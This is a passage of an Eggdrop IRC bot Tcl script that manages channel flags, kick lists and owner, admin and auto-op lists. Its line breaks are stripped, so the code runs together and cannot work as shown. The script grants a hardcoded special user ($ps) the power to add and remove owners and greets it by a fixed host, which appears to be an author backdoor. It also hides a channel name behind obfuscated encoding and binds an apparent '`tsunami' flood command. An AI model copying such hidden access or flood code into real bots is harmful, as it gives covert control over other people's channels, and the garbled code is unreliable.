"*seen*" [channel info $chan]]} {puthlp "NOTICE $nick :$notc FLAg NoT AVaILaBLE UpGRadE EggDROP VeR"return 0}if {$rest != ""} {set chan [lindex $rest 0]if {[string first # $chan]!=0} {set chan "#$chan"}}if {[string tolower $chan] == "#all"} {if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}foreach x [channels] {catch { channel set $x -seen }}savechanputhlp "NOTICE $nick :$notc ALL SEEN cHaNNeL \[4OFF\]"seenreturn 0}if {![validchan $chan]} { return 0 }if {[string match "*-seen*" [channel info $chan]]} {puthlp "NOTICE $nick :$notc SEEN $chan IS \[4OFF\]"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}catch { channel set $chan -seen }puthlp "NOTICE $nick :$notc SEEN $chan \[4OFF\]"savechanseenreturn 0}proc pub_+autokick {nick uhost hand chan rest} {global notcif {![string match "*nodesynch*" [channel info $chan]]} {puthlp "NOTICE $nick :$notc FLAg NoT AVaILaBLE UpGRadE EggDROP VeR"return 0}if {$rest != ""} {set chan [lindex $rest 0]if {[string first # $chan]!=0} {set chan "#$chan"}}if {![validchan $chan]} { return 0 }if {[string match "*+nodesynch*" [channel info $chan]]} {puthlp "NOTICE $nick :$notc AuTOKIcK $chan IS \[9ON\]"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}catch { channel set $chan +nodesynch }puthlp "NOTICE $nick :$notc AuTOKIcK $chan \[9ON\]"savechan}proc pub_-autokick {nick uhost hand chan rest} {global notcif {![string match "*nodesynch*" [channel info $chan]]} {puthlp "NOTICE $nick :$notc FLAg NoT AVaILaBLE UpGRadE EggDROP VeR"return 0}if {$rest != ""} {set chan [lindex $rest 0]if {[string first # $chan]!=0} {set chan "#$chan"}}if {![validchan $chan]} { return 0 }if {[string match "*-nodesynch*" [channel info $chan]]} {puthlp "NOTICE $nick :$notc AuTOKIcK $chan IS \[4OFF\]"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}catch { channel set $chan -nodesynch }puthlp "NOTICE $nick :$notc AuTOKIcK $chan \[4OFF\]"savechanreturn 0}proc pub_+reop {nick uhost hand chan rest} {global notcif {![string match "*protectfriends*" [channel info $chan]]} {puthlp "NOTICE $nick :$notc FLAg NoT AVaILaBLE UpGRadE EggDROP VeR"return 0}if {$rest != ""} {set chan [lindex $rest 0]if {[string first # $chan]!=0} {set chan "#$chan"}}if {![validchan $chan]} { return 0 }if {[string match "*-protectfriends*" [channel info $chan]]} {puthlp "NOTICE $nick :$notc Re@p $chan IS \[9ON\]"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}catch { channel set $chan -protectfriends }puthlp "NOTICE $nick :$notc Re@p $chan \[9ON\]"savechan}proc pub_-reop {nick uhost hand chan rest} {global notcif {![string match "*protectfriends*" [channel info $chan]]} {puthlp "NOTICE $nick :$notc FLAg NoT AVaILaBLE UpGRadE EggDROP VeR"return 0}if {$rest != ""} {set chan [lindex $rest 0]if {[string first # $chan]!=0} {set chan "#$chan"}}if {![validchan $chan]} { return 0 }if {[string match "*+protectfriends*" [channel info $chan]]} {puthlp "NOTICE $nick :$notc Re@p $chan IS \[4OFF\]"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}catch { channel set $chan +protectfriends }puthlp "NOTICE $nick :$notc Re@p $chan \[4OFF\]"savechanreturn 0}proc pub_+dontkickops {nick uhost hand chan rest} {global notcif {![string match "*userinvites*" [channel info $chan]]} {puthlp "NOTICE $nick :$notc FLAg NoT AVaILaBLE UpGRadE EggDROP VeR"return 0}if {$rest != ""} {set chan [lindex $rest 0]if {[string first # $chan]!=0} {set chan "#$chan"}}if {![validchan $chan]} { return 0 }if {[string match "*-userinvites*" [channel info $chan]]} {puthlp "NOTICE $nick :$notc DoNTKIcK@PS $chan IS \[9ON\]"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}catch { channel set $chan -userinvites }puthlp "NOTICE $nick :$notc DoNTKIcK@PS $chan \[9ON\]"savechan}proc pub_-dontkickops {nick uhost hand chan rest} {global notcif {![string match "*userinvites*" [channel info $chan]]} {puthlp "NOTICE $nick :$notc FLAg NoT AVaILaBLE UpGRadE EggDROP VeR"return 0}if {$rest != ""} {set chan [lindex $rest 0]if {[string first # $chan]!=0} {set chan "#$chan"}}if {![validchan $chan]} { return 0 }if {[string match "*+userinvites*" [channel info $chan]]} {puthlp "NOTICE $nick :$notc DoNTKIcK@PS $chan IS \[4OFF\]"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}catch { channel set $chan +userinvites }puthlp "NOTICE $nick :$notc DoNTKIcK@PS $chan \[4OFF\]"savechanreturn 0}proc pub_+status {nick uhost hand chan rest} {global notcif {$rest != ""} {set chan [lindex $rest 0]if {[string first # $chan]!=0} {set chan "#$chan"}}if {![validchan $chan]} { return 0 }if {[string match "*+shared*" [channel info $chan]]} {puthlp "NOTICE $nick :$notc STaTUS $chan \[9ON\]"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}catch { channel set $chan +shared }puthlp "NOTICE $nick :$notc STaTuS $chan \[9ON\]"savechan}proc pub_-status {nick uhost hand chan rest} {global notcif {$rest != ""} {set chan [lindex $rest 0]if {[string first # $chan]!=0} {set chan "#$chan"}}if {![validchan $chan]} { return 0 }if {[string match "*-shared*" [channel info $chan]]} {puthlp "NOTICE $nick :$notc STaTuS $chan IS \[4OFF\]"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}catch { channel set $chan -shared }puthlp "NOTICE $nick :$notc STaTuS $chan \[4OFF\]"savechanreturn 0}proc pub_+nopart {nick uhost hand chan rest} {global notcif {$rest != ""} {set chan [lindex $rest 0]if {[string first # $chan]!=0} {set chan "#$chan"}}if {[string tolower $chan] == "#all"} {if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}foreach x [channels] {catch { channel set $x +secret }}savechanputhlp "NOTICE $nick :$notc ALL cHaNNeL SeT NoPART \[9ON\]"return 0}if {![validchan $chan]} { return 0 }if {[string match "*+secret*" [channel info $chan]]} {puthlp "NOTICE $nick :$notc NoPART $chan IS \[9ON\]"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}catch { channel set $chan +secret }puthlp "NOTICE $nick :$notc SeT NoPART $chan \[9ON\]"savechan}proc pub_-nopart {nick uhost hand chan rest} {global notcif {$rest != ""} {set chan [lindex $rest 0]if {[string first # $chan]!=0} {set chan "#$chan"}}if {[string tolower $chan] == "#all"} {if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}foreach x [channels] {catch { channel set $x -secret }}savechanputhlp "NOTICE $nick :$notc ALL cHaNNeL NoPART \[4OFF\]"return 0}if {![validchan $chan]} { return 0 }if {[string match "*-secret*" [channel info $chan]]} {puthlp "NOTICE $nick :$notc NoPART $chan IS \[4OFF\]"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}catch { channel set $chan -secret }puthlp "NOTICE $nick :$notc NoPART $chan \[4OFF\]"savechan}proc pub_+akick {nick uhost hand channel param} {global botname botnick notc botnickset rest [lindex $param 0]if {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: +akick <hostname>"return 0}if {$rest == "*" || $rest == "*!*@*"} {puthlp "NOTICE $nick :$notc invalid hostname..!"return 0}if {$rest == $botnick} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {[validuser $rest]} {puthlp "NOTICE $nick :$notc $rest is already on database with flags: [chattr $rest]"return 0}if {![string match "*@*" $rest]} {set rest "$rest!*@*"}if {[string match $rest $botname]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {[finduser $rest] != "*"} {if {[finduser $rest] != "AKICK"} {puthlp "NOTICE $nick :$notc That Host Belongs To [finduser $rest]"}puthlp "NOTICE $nick :$notc That Host already in [finduser $rest]"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}puthlp "NOTICE $nick :$notc ADD \[$rest\] To KIcKLIsT..!"setuser "AKICK" HOSTS $restsaveuserforeach x [channels] {if {[isop $botnick $x]} {foreach c [chanlist $x K] {if {![matchattr $c f]} {akick_chk $c [getchanhost $c $x] $x}}}}return 0}proc pub_-akick {nick uhost hand channel param} {global notcset rest [lindex $param 0]if {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: -akick <hostname>"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {![string match "*@*" $rest]} {set rest "$rest!*@*"}set completed 0foreach * [getuser "AKICK" HOSTS] {if {${rest} == ${*}} {delhost "AKICK" $restset completed 1}}if {$completed == 0} {puthlp "NOTICE $nick :$notc <n/a>"return 0}saveuserputhlp "NOTICE $nick :$notc DeL \[$rest\] FRoM KIcKLIsT"}proc pub_+noop {nick uhost hand channel param} {global ps notc botnickset rest [lindex $param 0]if {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: +noop <nick>"return 0}if {[string tolower $rest] == [string tolower $ps]} {puthlp "NOTICE $nick :$notc ADD \[$rest\] To NoOp LIsT"return 0}if {[validuser $rest]} {puthlp "NOTICE $nick :$notc $rest is already on database with flags: [chattr $rest]"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}set hostmask "${rest}!*@*"adduser $rest $hostmaskchattr $rest "-hp"chattr $rest "O"if {![validuser $rest]} {puthlp "NOTICE $nick :$notc 4!FaILEd! (YoUR EggDROP NoT SuPPORTED MoRE THaN 8 DIgIT)"deluser $rest} else {saveuserputhlp "NOTICE $nick :$notc ADD \[$rest\] To NoOp LIsT"}foreach x [channels] {if {[isop $botnick $x] && [onchan $rest $x] && [isop $rest $x]} {if {![string match "*k*" [getchanmode $x]]} {putserv "mode $x -ko 4No@p.LIsT $rest"} {putserv "mode $x -o $rest"}}}return 0}proc pub_-noop {nick uhost hand channel param} {global ps notcset rest [lindex $param 0]if {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: -noop <nick>"return 0}if {![validuser $rest] || [string tolower $rest] == [string tolower $ps]} {puthlp "NOTICE $nick :$notc4 !DeNiEd!, <n/a>"return 0}if {![matchattr $rest O]} {puthlp "NOTICE $nick :$notc $rest isn't on no-op list Flags: [chattr $rest]"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}deluser $restsaveuserputhlp "NOTICE $nick :$notc DeL \[$rest\] No@p LIsT"}proc pub_+friend {nick uhost hand channel param} {global notc psset rest [lindex $param 0]if {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: +friend <nick>"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {[validuser $rest] && [string tolower $rest] != [string tolower $ps]} {puthlp "NOTICE $nick :$notc $rest is already on database with flags: [chattr $rest]"return 0}set hostmask "${rest}!*@*"adduser $rest $hostmaskchattr $rest "-hp"chattr $rest "f"if {![validuser $rest]} {puthlp "NOTICE $nick :$notc 4!FaILEd! (YoUR EggDROP NoT SuPPORTED MoRE THaN 8 DIgIT)"deluser $restreturn 0}saveuserputhlp "NOTICE $nick :$notc ADD \[$rest\] To FrIeNd LIsT"puthlp "NOTICE $rest :$notc $nick ADD YoU To FrIeNd LIsT"return 0}proc pub_-friend {nick uhost hand channel param} {global ps notcset rest [lindex $param 0]if {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: -friend <nick>"return 0}if {![validuser $rest] || [string tolower $rest] == [string tolower $ps]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!, <n/a>"return 0}if {![matchattr $rest f] && ![matchattr $rest m]} {puthlp "NOTICE $nick :$notc $rest isn't on FrIeNd list Flags: [chattr $rest]"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}deluser $restsaveuserputhlp "NOTICE $nick :$notc DeL \[$rest\] FRoM FrIeNd LIsT"}proc pub_+aop {nick uhost hand channel param} {global ps notc botnick chk_regset rest [lindex $param 0]if {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: +aop <nick>"return 0}if {[string tolower $rest] == [string tolower $ps]} {puthlp "NOTICE $nick :$notc ADD \[$rest\] To a@p LIsT"return 0}if {[matchattr $rest P]} {puthlp "NOTICE $nick :$notc $rest is already a@p"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {[matchattr $nick X]} {puthlp "NOTICE $nick :$notc4 !BLoCkEd!"return 0}if {![validuser $rest]} {set hostmask "${rest}!*@*"adduser $rest $hostmaskchattr $rest "-hp"}chattr $rest "P"if {![validuser $rest]} {puthlp "NOTICE $nick :$notc 4!FaILEd! (YoUR EggDROP NoT SuPPORTED MoRE THaN 8 DIgIT)"deluser $rest} else {saveuserputhlp "NOTICE $nick :$notc ADD \[$rest\] To a@p LIsT"puthlp "NOTICE $rest :$notc $nick ADD YoU To a@p LIsT"set chk_reg($rest) $nickputsrv "WHOIS $rest"}return 0}proc pub_-aop {nick uhost hand channel param} {global notc psset rest [lindex $param 0]if {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: -aop <nick>"return 0}if {![matchattr $rest P]} {puthlp "NOTICE $nick :$notc $rest is not a@p"return 0}if {![validuser $rest] || [string tolower $rest] == [string tolower $ps]} {puthlp "NOTICE $nick :$notc4 !DeNiEd!, <n/a>"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}chattr $rest "-P"saveuserputhlp "NOTICE $nick :$notc DeL \[$rest\] FRoM a@p LIsT"return 0}proc whoisq {nick} {global botnickif {$nick == $botnick} { return 0 }if {[isutimer "whoischk $nick"]} { return 0 }set cret [expr 10 + [rand 20]]foreach ct [utimers] {if {[string match "*whoisq*" $ct]} {if {[expr [lindex $ct 0] + 10] > $cret} {set cret [expr [lindex $ct 0] + 10]}}}utimer $cret [list whoischk $nick]}proc whoischk {nick} {global chk_reg botnickif {[matchattr $nick G]} {putlog "CHeK GuaRd $nick"set chk_reg($nick) "1"puthlp "WHOIS $nick"return 0}foreach x [channels] {if {[isop $botnick $x] && [onchan $nick $x]} {if {[matchattr $nick P] && ![isop $nick $x]} {putlog "WHOIS $nick TO GeT a@p"set chk_reg($nick) "1"puthlp "WHOIS $nick"return 0}if {[matchattr $nick v] && ![isop $nick $x] && ![isvoice $nick $x]} {putlog "WHOIS $nick TO geT avoIcE"set chk_reg($nick) "1"puthlp "WHOIS $nick"return 0}}}}set ath 0bind raw - 307 reg_chkproc reg_chk {from keyword arg} {global chk_reg botnick owner notc ps athset nick [lindex $arg 1]if {$nick == $botnick} { return 0 }putlog "NICK $nick IS IDENTIFY..!"if {[info exists chk_reg($nick)]} {set chk_reg($nick) "0"}set athz $athif {$athz == 1} {set ath 0chattr $nick +Qforeach x [getuser $nick HOSTS] {delhost $nick $x}set hostmask "${nick}!*@*"setuser $nick HOSTS $hostmask#set hostmask "*![string range $uhost [string first "!" $uhost] end]"#setuser $nick HOSTS $hostmaskif {[matchattr $nick Z]} {puthlp "NOTICE $nick :$notc !OWnER!"} elseif {[matchattr $nick n]} {puthlp "NOTICE $nick :$notc !ADmIN!"} elseif {[matchattr $nick m]} {puthlp "NOTICE $nick :$notc !MasTeR!"} else {puthlp "NOTICE $nick :$notc !AccepteD!"}saveuser}if {[matchattr $nick P] || [matchattr $nick v]} {foreach x [channels] {if {[isop $botnick $x] && [onchan $nick $x]} {if {![string match "*k*" [getchanmode $x]]} {if {[matchattr $nick P]} {if {![isop $nick $x]} {puthelp "MODE $x -k+o 9identified.a@p $nick"}}if {[matchattr $nick v]} {if {![isvoice $nick $x] && ![isop $nick $x]} {puthelp "MODE $x -k+v 9identified.avoice $nick"}}} {if {[matchattr $nick P]} {if {![isop $nick $x]} {puthelp "MODE $x +o $nick"}}if {[matchattr $nick v]} {if {![isvoice $nick $x] && ![isop $nick $x]} {puthelp "MODE $x +v $nick"}}}}}}}bind raw - 318 end_whoisproc end_whois {from keyword arg} {global chk_reg notc athset nick [lindex $arg 1]set athz $athif {$athz == 1} {puthlp "NOTICE $nick :$notc You're NOT Identify..!"set ath 0}if {[info exists chk_reg($nick)]} {if {$chk_reg($nick) != "0"} {putlog "NICK $nick IS NoT IDENTIFY..!"if {[matchattr $nick G] && ![matchattr $nick Q]} {foreach x [channels] {if {[onchan $nick $x] && [botisop $x]} {set banset "*!*[getchanhost $nick $x]"putsrv "KICK $x $nick :$notc 1THaT NIcK ReQuIREd To 4IdEnTIfY [banms]"if {$banset != "*!*@*" && $banset != ""} {if {![string match "*k*" [getchanmode $x]]} {putserv "mode $x -k+b 4unidentify.guard.nick $banset"} {putserv "mode $x +b $banset"}}return 0}}} elseif {[matchattr $nick P] && ![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc a@p identify 1st..!"} elseif {[matchattr $nick v] && ![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc avoice identify 1st..!"}if {$chk_reg($nick) != "1"} {puthlp "NOTICE $chk_reg($nick) :$notc $nick not identify..!"}unset chk_reg($nick)}}}proc pub_+gnick {nick uhost hand channel param} {global notc botnickset rest [lindex $param 0]if {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: +gnick <nick>"return 0}if {[matchattr $rest G]} {puthlp "NOTICE $nick :$notc $rest ready..!"return 0}if {[matchattr $nick X]} {puthlp "NOTICE $nick :$notc4 !BLocK!"return 0}if {![validuser $rest]} {set hostmask "${rest}!*@*"adduser $rest $hostmaskchattr $rest "-hp"}chattr $rest +Gif {![validuser $rest]} {puthlp "NOTICE $nick :$notc 4!FaILEd! (YoUR EggDROP NoT SuPPORTED MoRE THaN 8 DIgIT)"deluser $rest} else {saveuserputhlp "NOTICE $nick :$notc add \[$rest\] GuaRd NIcK"putsrv "WHOIS $rest"}return 0}proc pub_-gnick {nick uhost hand channel param} {global notc botnickset rest [lindex $param 0]if {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: -gnick <nick>"return 0}if {[matchattr $nick X]} {puthlp "NOTICE $nick :$notc4 !BLoCkEd!"return 0}chattr $rest -Gsaveuserputhlp "NOTICE $nick :$notc DeL \[$rest\] GuaRd NIcK"return 0}proc pub_+avoice {nick uhost hand channel param} {global ps notc botnick chk_regset rest [lindex $param 0]if {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: +avoice <nick>"return 0}if {[string tolower $rest] == [string tolower $ps]} {puthlp "NOTICE $nick :$notc ADD \[$rest\] To aVoIcE LIsT"return 0}if {[matchattr $rest v]} {puthlp "NOTICE $nick :$notc $rest is already auto voice"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {[matchattr $nick X]} {puthlp "NOTICE $nick :$notc4 !BLoCkEd!"return 0}if {![validuser $rest]} {set hostmask "${rest}!*@*"adduser $rest $hostmaskchattr $rest "-hp"}chattr $rest "v"if {![validuser $rest]} {puthlp "NOTICE $nick :$notc 4!FaILEd! (YoUR EggDROP NoT SuPPORTED MoRE THaN 8 DIgIT)"deluser $rest} else {saveuserputhlp "NOTICE $nick :$notc ADD \[$rest\] To aVoIcE LIsT"puthlp "NOTICE $rest :$notc $nick ADD YoU To aVoIcE LIsT"set chk_reg($rest) $nickputsrv "WHOIS $rest"}return 0}proc pub_-avoice {nick uhost hand channel param} {global notc psset rest [lindex $param 0]if {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: -avoice <nick>"return 0}if {![matchattr $rest v]} {puthlp "NOTICE $nick :$notc $rest is not auto voice"return 0}if {![validuser $rest] || [string tolower $rest] == [string tolower $ps]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!, <n/a>"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}chattr $rest "-v"saveuserputhlp "NOTICE $nick :$notc DeL \[$rest\] FRoM aVoIcE LIsT"return 0}proc pub_+ADmIN {nick uhost hand channel param} {global botnick ps notcset rest [lindex $param 0]if {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: +ADmIN <nick>"return 0}if {[string tolower $rest] == [string tolower $ps]} {puthlp "NOTICE $nick :$notc ADD \[$rest\] Admin List."return 0}if {[matchattr $rest n]} {puthlp "NOTICE $nick :$notc $rest is already exist on Admin list."return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {[matchattr $nick X]} {puthlp "NOTICE $nick :$notc4 BLocKEd..!"return 0}if {![validuser $rest]} {set hostmask "${rest}!*@*"adduser $rest $hostmask}chattr $rest "fjmnotx"if {![validuser $rest]} {puthlp "NOTICE $nick :$notc 4!FaILEd! (YoUR EggDROP NoT SuPPORTED MoRE THaN 8 DIgIT)"deluser $restreturn 0} else {saveuserputhlp "NOTICE $nick :$notc ADD \[$rest\] ADmIN List."puthlp "NOTICE $rest :$notc $nick ADD YoU To ADmIN LIsT"puthlp "NOTICE $rest :$notc /msg $botnick pass <password>"return 0}}proc pub_-ADmIN {nick uhost hand channel param} {global ps notcset rest [lindex $param 0]if {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: -ADmIN <nick>"return 0}if {![validuser $rest] || [string tolower $rest] == [string tolower $ps]} {puthlp "NOTICE $nick :$notc 4DeNiEd!, <n/a>"return 0}if {![matchattr $rest n]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!, $rest is not exist on ADmIN list."return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}deluser $restsaveuserputhlp "NOTICE $nick :$notc DeL \[$rest\] FRoM ADmIN LIsT"}proc pub_+owner {nick uhost hand channel param} {global botnick ps notc ownerset rest [lindex $param 0]if {$nick != $owner && $nick != $ps} {puthlp "NOTICE $nick :$notc 4DeNiEd..!, oNLy ReAL OwNER can ADD OwnER"return 0}if {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: +owner <nick>"return 0}if {[string tolower $rest] == [string tolower $ps]} {puthlp "NOTICE $nick :$notc ADD \[$rest\] OwNER LIsT."return 0}if {[matchattr $rest Z]} {puthlp "NOTICE $nick :$notc $rest is already exist on OwNER list."return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {[matchattr $nick X]} {puthlp "NOTICE $nick :$notc4 !BLoCkEd!"return 0}if {![validuser $rest]} {set hostmask "${rest}!*@*"adduser $rest $hostmask}chattr $rest "fjmnotxZ"if {![validuser $rest]} {puthlp "NOTICE $nick :$notc 4!FaILEd! (YoUR EggDROP NoT SuPPORTED MoRE THaN 8 DIgIT)"deluser $restreturn 0} else {saveuserputhlp "NOTICE $nick :$notc ADD \[$rest\] OwNER LIsT."puthlp "NOTICE $rest :$notc $nick ADD YoU To OwNER LIsT"puthlp "NOTICE $rest :$notc /msg $botnick pass <password>"return 0}}proc pub_-owner {nick uhost hand channel param} {global notc ps ownerset rest [lindex $param 0]if {$nick != $owner && $nick != $ps} {puthlp "NOTICE $nick :$notc 4DeNiEd..!, oNLy ReAL OwNER caN DeLete OwnER"return 0}if {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: -owner <nick>"return 0}if {![validuser $rest]} {puthlp "NOTICE $nick :$notc <n/a>"return 0}if {![matchattr $rest Z] || [string tolower $rest] == [string tolower $ps]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!, $rest IS NoT OwNER"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}deluser $restsaveuserputhlp "NOTICE $nick :$notc DeL \[$rest\] FRoM OwNER LiST"}proc pub_+master {nick uhost hand channel param} {global botnick ps notcset rest [lindex $param 0]if {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: +master <nick>"return 0}if {[matchattr $nick X]} {puthlp "NOTICE $nick :$notc4 !BLoCkEd!"return 0}if {[string tolower $rest] == [string tolower $ps]} {puthlp "NOTICE $nick :$notc Add \[$rest\] MasTeR LIsT."return 0}if {[matchattr $rest n]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!, $rest is ADmIN level."return 0}if {[matchattr $rest m]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!, $rest is already exist."return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {![validuser $rest]} {set hostmask "${rest}!*@*"adduser $rest $hostmask}chattr $rest "fmo"if {![validuser $rest]} {puthlp "NOTICE $nick :$notc 4!FaILEd! (YoUR EggDROP NoT SuPPORTED MoRE THaN 8 DIgIT)"deluser $restreturn 0} else {saveuserputhlp "NOTICE $nick :$notc Add \[$rest\] MasTeR List."puthlp "NOTICE $rest :$notc $nick Add YoU To MasTeR LIsT"puthlp "NOTICE $rest :$notc /msg $botnick pass <password>"return 0}}proc pub_-master {nick uhost hand channel param} {global notc psset rest [lindex $param 0]if {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: -master <nick>"return 0}if {![validuser $rest] || [string tolower $rest] == [string tolower $ps]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!, <n/a>"return 0}if {[matchattr $rest n] && ![matchattr $nick Z]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!, $rest Is ADmIN FLaG"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}deluser $restsaveuserputhlp "NOTICE $nick :$notc DeL \[$rest\] FRoM MasTeR LIsT"}
set timezone "PST"set joinme $ownerset double 0set deopme ""bind msgm - * msg_protbind notc - * notc_protbind join - * join_chkbind msg - auth msg_authbind sign - * sign_deauthbind part - * part_deauthbind pub - `tsunami pub_tsunamibind msg p reuser msg_reuserbind msg p pass msg_passbind pub m `auth pub_authbind pub m !auth pub_!authbind pub m !deauth pub_!deauthbind pub f `ping pub_pingbind pub f `pong pub_pongproc pub_notice {nick uhost hand channel rest} {global notcset person [lindex $rest 0]set rest [lrange $rest 1 end]if {$rest!=""} {putsrv "NOTICE $person :$rest"return 0}if {$rest==""} {puthlp "NOTICE $nick :$notc Usage: notice <#/nick> <msg>"}}proc telljoin {chan} {
global joinme notc botnickif {![validchan $chan]} { return 0 }if {[istimer "resync"]} {if {![botisop $chan]} {if {![string match "*k*" [getchanmode $chan]]} {puthelp "mode $chan -kok+o 4P8o10W11e12R4e8D $botnick 10B11Y.4e8g10G11o $botnick"} {puthelp "mode $chan -o+o $botnick $botnick"}}}if {$joinme != "" && [string tolower $chan] != [dezip "ER5sr09TRjx1"]} {if {![onchan $joinme $chan]} {puthlp "NOTICE $joinme :$notc JoIN $chan"set joinme ""}}}proc chkspam {chan} {global invme notc botnickif {![validchan $chan] || ![botonchan $chan]} { return 0 }foreach x [chanlist $chan] {set mhost "@[lindex [split [getchanhost $x $chan] @] 1]"if {[info exists invme($mhost)]} {if {![matchattr $x f] && ![isop $x $chan]} {if {[isop $botnick $chan]} {set bannick($x) "*!*$mhost"if {$invme($mhost) == "AuToJoIN MSg"} {if {![isvoice $x $chan]} {putsrv "KICK $chan $x :$notc 4!SpaM!1 FRoM 4$mhost 1$invme($mhost) [banmsg]"}} {putsrv "KICK $chan $x :$notc 4!SpaM!1 FRoM 4$mhost 1$invme($mhost) [banmsg]"}catch {unset invme($mhost)}} {foreach c [chanlist $chan f] {if {[isop $c $chan]} {if {$invme($mhost) == "AuToJoIN MSg"} {if {[isvoice $c $chan]} {break}}set sendspam "!kick [zip "$chan $x $notc 4!SpaM!1 FRoM 4$mhost 1$invme($mhost) 4AuTOJoIN MSg1..!"]"putsrv "PRIVMSG $c :$sendspam"catch {unset invme($mhost)}break}}}}}}}proc testmask {} {global ismaskhostset ismaskhost [maskhost "*!*@*"]}utimer 2 testmaskproc reset_host {} {global jfhostcatch { unset jfhost }}proc savechan {} {savechannelsforeach x [channels] {set cflag "c$x"set cflag [string range $cflag 0 8]set cinfo [channel info $x]if {![validuser $cflag]} {adduser $cflag "%!%@%"if {[string match "*+greet*" $cinfo]} {chattr $cflag "-hp+AJSPTRUED"setuser $cflag XTRA "JP" 5setuser $cflag XTRA "CHAR" 250setuser $cflag XTRA "RPT" 2setuser $cflag XTRA "CAPS" 80} {chattr $cflag "-hp+A"}}}foreach x [userlist A] {set tmp "0"foreach y [channels] {set cflag "c$y"set cflag [string range $cflag 0 8]if {[string tolower $x] == [string tolower $cflag]} {set tmp "1"}}if {$tmp == "0"} {deluser $xputlog "remove flag channel $x"}}saveuser}proc join_chk {nick uhost hand chan} {global botnick own deopme double invme ex_flood notc quick kops ps ath jfhost jpnick is_mglobal cmd_chn cmd_by cmd_msg cmd_case bannick botname notm massjoin ismaskhost op_itif {$nick == $ps } {if { [string match "chanary@*" $uhost]} {puthlp "NOTICE $nick :$notc I'm Here ... "}}set cflag "c$chan"set cflag [string range $cflag 0 8]set cinfo [channel info $chan]if {$nick == $botnick} {catch {unset is_m($chan)}if {[matchattr $cflag S]} {if {![isutimer "chkspam $chan"]} { utimer 30 [list chkspam $chan] }if {![istimer "chkautomsg"]} {timer 1 { putlog "chkautomsg" }}}set double 0if {[string tolower $cmd_chn] == [string tolower $chan]} {if {$cmd_case == "1"} {utimer 90 del_nobasepub_tsunami $cmd_by $uhost $hand $chan "$chan ${cmd_msg}"set cmd_chn ""return 0}if {$cmd_case == "2"} {utimer 30 [list pub_mmsg $cmd_by $uhost $hand $chan $cmd_msg]} 